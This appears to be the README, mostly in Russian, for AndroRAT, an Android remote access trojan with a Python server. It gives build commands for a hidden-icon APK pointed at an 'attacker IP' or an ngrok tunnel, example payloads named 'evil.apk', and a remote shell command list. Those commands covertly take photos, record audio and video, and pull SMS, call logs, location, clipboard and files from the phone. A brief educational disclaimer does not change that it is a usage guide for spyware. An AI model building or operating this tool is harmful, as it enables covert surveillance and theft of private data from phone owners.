
Простой инструмент удалённого администрирования для Android, использующий сокеты. На клиентской стороне применяется Java, на серверной — Python.
Отказ от ответственности: Данное программное обеспечение предназначено исключительно для образовательных целей. Я не несу ответственности за любое вредоносное использование приложения.
AndroRAT — это инструмент, предназначенный для удалённого управления системой Android и извлечения из неё информации. Androrat — это клиент-серверное приложение, разработанное на Java Android для клиентской части, а серверная часть написана на Python.
AndroRAT также работает на Android 10 (Q), но некоторые команды интерпретатора будут нестабильны.

AndroRAT требует Python3 и JAVA (или Android Studio)
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
При клонировании репозитория с помощью Git bash в Windows вы можете получить следующую ошибку:
error: unable to create file <filename>: Filename too long
Это происходит потому, что Git имеет ограничение в 4096 символов для имени файла, за исключением Windows, когда Git скомпилирован с msys. Он использует более старую версию Windows API, и существует ограничение в 260 символов для имени файла.
Вы можете обойти это, установив core.longpaths в значение true.
git config --system core.longpaths true
Вы должны запустить Git bash с правами администратора.
*#*#1337#*#* (На данный момент в ней есть только две опции: Restart Activity и Uninstall)Примечание: чтобы использовать эту функцию на некоторых устройствах, вам нужно включить опцию
display pop-up windows running in backgroundв настройках.
--build - для сборки android apk--ngrok - для использования туннеля ngrok (через интернет)--shell - получение интерактивной оболочки устройстваbuildUsage:
python3 androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python3 androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
Или вы можете вручную собрать apk, импортировав папку Android Code в Android Studio и изменив IP-адрес и номер порта в файле config.java, после чего сгенерировать подписанный apk через Android Studio -> Build -> Generate Signed APK(s)
shellUsage:
python3 androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
После запуска режима shell вы получите интерпретатор устройства
Команды, которые можно выполнять в интерпретаторе
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
В оболочке sh есть несколько подкоманд
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
Чтобы собрать apk с помощью ngrok, что также настроит слушатель:
python3 androRAT.py --build --ngrok -o evil.apk
To build the apk using desired ip and port:
python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk
Чтобы получить интерпретатор:
python3 androRAT.py --shell -i 0.0.0.0 -p 8000
AndroRAT is licensed under MIT license take a look at the LICENSE for more information.